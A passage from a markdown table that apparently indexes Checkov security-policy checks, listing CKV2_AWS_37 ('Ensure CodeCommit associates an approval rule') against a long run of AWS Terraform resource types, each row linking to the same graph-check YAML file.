                                                                     | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1437 | CKV2_AWS_37     | resource | aws_lightsail_key_pair                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1438 | CKV2_AWS_37     | resource | aws_lightsail_lb                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1439 | CKV2_AWS_37     | resource | aws_lightsail_lb_attachment                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1440 | CKV2_AWS_37     | resource | aws_lightsail_lb_certificate                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1441 | CKV2_AWS_37     | resource | aws_lightsail_lb_certificate_attachment                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1442 | CKV2_AWS_37     | resource | aws_lightsail_lb_https_redirection_policy                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1443 | CKV2_AWS_37     | resource | aws_lightsail_lb_stickiness_policy                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1444 | CKV2_AWS_37     | resource | aws_lightsail_static_ip                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1445 | CKV2_AWS_37     | resource | aws_lightsail_static_ip_attachment                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1446 | CKV2_AWS_37     | resource | aws_load_balancer_backend_server_policy                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1447 | CKV2_AWS_37     | resource | aws_load_balancer_listener_policy                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1448 | CKV2_AWS_37     | resource | aws_load_balancer_policy                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1449 | CKV2_AWS_37     | resource | aws_location_geofence_collection                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1450 | CKV2_AWS_37     | resource | aws_location_map                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1451 | CKV2_AWS_37     | resource | aws_location_place_index                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1452 | CKV2_AWS_37     | resource | aws_location_route_calculator                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1453 | CKV2_AWS_37     | resource | aws_location_tracker                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1454 | CKV2_AWS_37     | resource | aws_location_tracker_association                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1455 | CKV2_AWS_37     | resource | aws_m2_application                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1456 | CKV2_AWS_37     | resource | aws_m2_deployment                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1457 | CKV2_AWS_37     | resource | aws_m2_environment                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1458 | CKV2_AWS_37     | resource | aws_macie2_account                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1459 | CKV2_AWS_37     | resource | aws_macie2_classification_export_configuration                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1460 | CKV2_AWS_37     | resource | aws_macie2_classification_job                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1461 | CKV2_AWS_37     | resource | aws_macie2_custom_data_identifier                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1462 | CKV2_AWS_37     | resource | aws_macie2_findings_filter                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1463 | CKV2_AWS_37     | resource | aws_macie2_invitation_accepter                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1464 | CKV2_AWS_37     | resource | aws_macie2_member                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1465 | CKV2_AWS_37     | resource | aws_macie2_organization_admin_account                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1466 | CKV2_AWS_37     | resource | aws_macie_member_account_association                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1467 | CKV2_AWS_37     | resource | aws_macie_s3_bucket_association                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1468 | CKV2_AWS_37     | resource | aws_main_route_table_association                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1469 | CKV2_AWS_37     | resource | aws_media_convert_queue                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1470 | CKV2_AWS_37     | resource | aws_media_package_channel                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1471 | CKV2_AWS_37     | resource | aws_media_packagev2_channel_group                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1472 | CKV2_AWS_37     | resource | aws_media_store_container                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1473 | CKV2_AWS_37     | resource | aws_media_store_container_policy                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1474 | CKV2_AWS_37     | resource | aws_medialive_channel                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1475 | CKV2_AWS_37     | resource | aws_medialive_input                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1476 | CKV2_AWS_37     | resource | aws_medialive_input_security_group                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1477 | CKV2_AWS_37     | resource | aws_medialive_multiplex                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1478 | CKV2_AWS_37     | resource | aws_medialive_multiplex_program                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1479 | CKV2_AWS_37     | resource | aws_memorydb_acl                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1480 | CKV2_AWS_37     | resource | aws_memorydb_cluster                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1481 | CKV2_AWS_37     | resource | aws_memorydb_multi_region_cluster                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1482 | CKV2_AWS_37     | resource | aws_memorydb_parameter_group                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1483 | CKV2_AWS_37     | resource | aws_memorydb_snapshot                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1484 | CKV2_AWS_37     | resource | aws_memorydb_subnet_group                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1485 | CKV2_AWS_37     | resource | aws_memorydb_user                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1486 | CKV2_AWS_37     | resource | aws_mq_broker                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1487 | CKV2_AWS_37     | resource | aws_mq_configuration                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1488 | CKV2_AWS_37     | resource | aws_msk_cluster                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1489 | CKV2_AWS_37     | resource | aws_msk_cluster_policy                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1490 | CKV2_AWS_37     | resource | aws_msk_configuration                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1491 | CKV2_AWS_37     | resource | aws_msk_replicator                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1492 | CKV2_AWS_37     | resource | aws_msk_scram_secret_association                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1493 | CKV2_AWS_37     | resource | aws_msk_serverless_cluster                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1494 | CKV2_AWS_37     | resource | aws_msk_single_scram_secret_association                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1495 | CKV2_AWS_37     | resource | aws_msk_vpc_connection                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1496 | CKV2_AWS_37     | resource | aws_mskconnect_connector                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1497 | CKV2_AWS_37     | resource | aws_mskconnect_custom_plugin                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1498 | CKV2_AWS_37     | resource | aws_mskconnect_worker_configuration                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1499 | CKV2_AWS_37     | resource | aws_mwaa_environment                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1500 | CKV2_AWS_37     | resource | aws_nat_gateway                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1501 | CKV2_AWS_37     | resource | aws_neptune_cluster                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1502 | CKV2_AWS_37     | resource | aws_neptune_cluster_endpoint                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1503 | CKV2_AWS_37     | resource | aws_neptune_cluster_instance                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1504 | CKV2_AWS_37     | resource | aws_neptune_cluster_parameter_group                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1505 | CKV2_AWS_37     | resource | aws_neptune_cluster_snapshot                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1506 | CKV2_AWS_37     | resource | aws_neptune_event_subscription                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1507 | CKV2_AWS_37     | resource | aws_neptune_global_cluster                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1508 | CKV2_AWS_37     | resource | aws_neptune_parameter_group                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1509 | CKV2_AWS_37     | resource | aws_neptune_subnet_group                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1510 | CKV2_AWS_37     | resource | aws_network_acl                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1511 | CKV2_AWS_37     | resource | aws_network_acl_association                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1512 | CKV2_AWS_37     | resource | aws_network_acl_rule                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1513 | CKV2_AWS_37     | resource | aws_network_interface                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1514 | CKV2_AWS_37     | resource | aws_network_interface_attachment                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1515 | CKV2_AWS_37     | resource | aws_network_interface_sg_attachment                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1516 | CKV2_AWS_37     | resource | aws_networkfirewall_firewall                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1517 | CKV2_AWS_37     | resource | aws_networkfirewall_firewall_policy                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1518 | CKV2_AWS_37     | resource | aws_networkfirewall_logging_configuration                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1519 | CKV2_AWS_37     | resource | aws_networkfirewall_resource_policy                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1520 | CKV2_AWS_37     | resource | aws_networkfirewall_rule_group                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1521 | CKV2_AWS_37     | resource | aws_networkfirewall_tls_inspection_configuration                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1522 | CKV2_AWS_37     | resource | aws_networkmanager_attachment_accepter                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1523 | CKV2_AWS_37     | resource | aws_networkmanager_connect_attachment                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1524 | CKV2_AWS_37     | resource | aws_networkmanager_connect_peer                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1525 | CKV2_AWS_37     | resource | aws_networkmanager_connection                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1526 | CKV2_AWS_37     | resource | aws_networkmanager_core_network                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1527 | CKV2_AWS_37     | resource | aws_networkmanager_core_network_policy_attachment                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1528 | CKV2_AWS_37     | resource | aws_networkmanager_customer_gateway_association                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1529 | CKV2_AWS_37     | resource | aws_networkmanager_device                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | 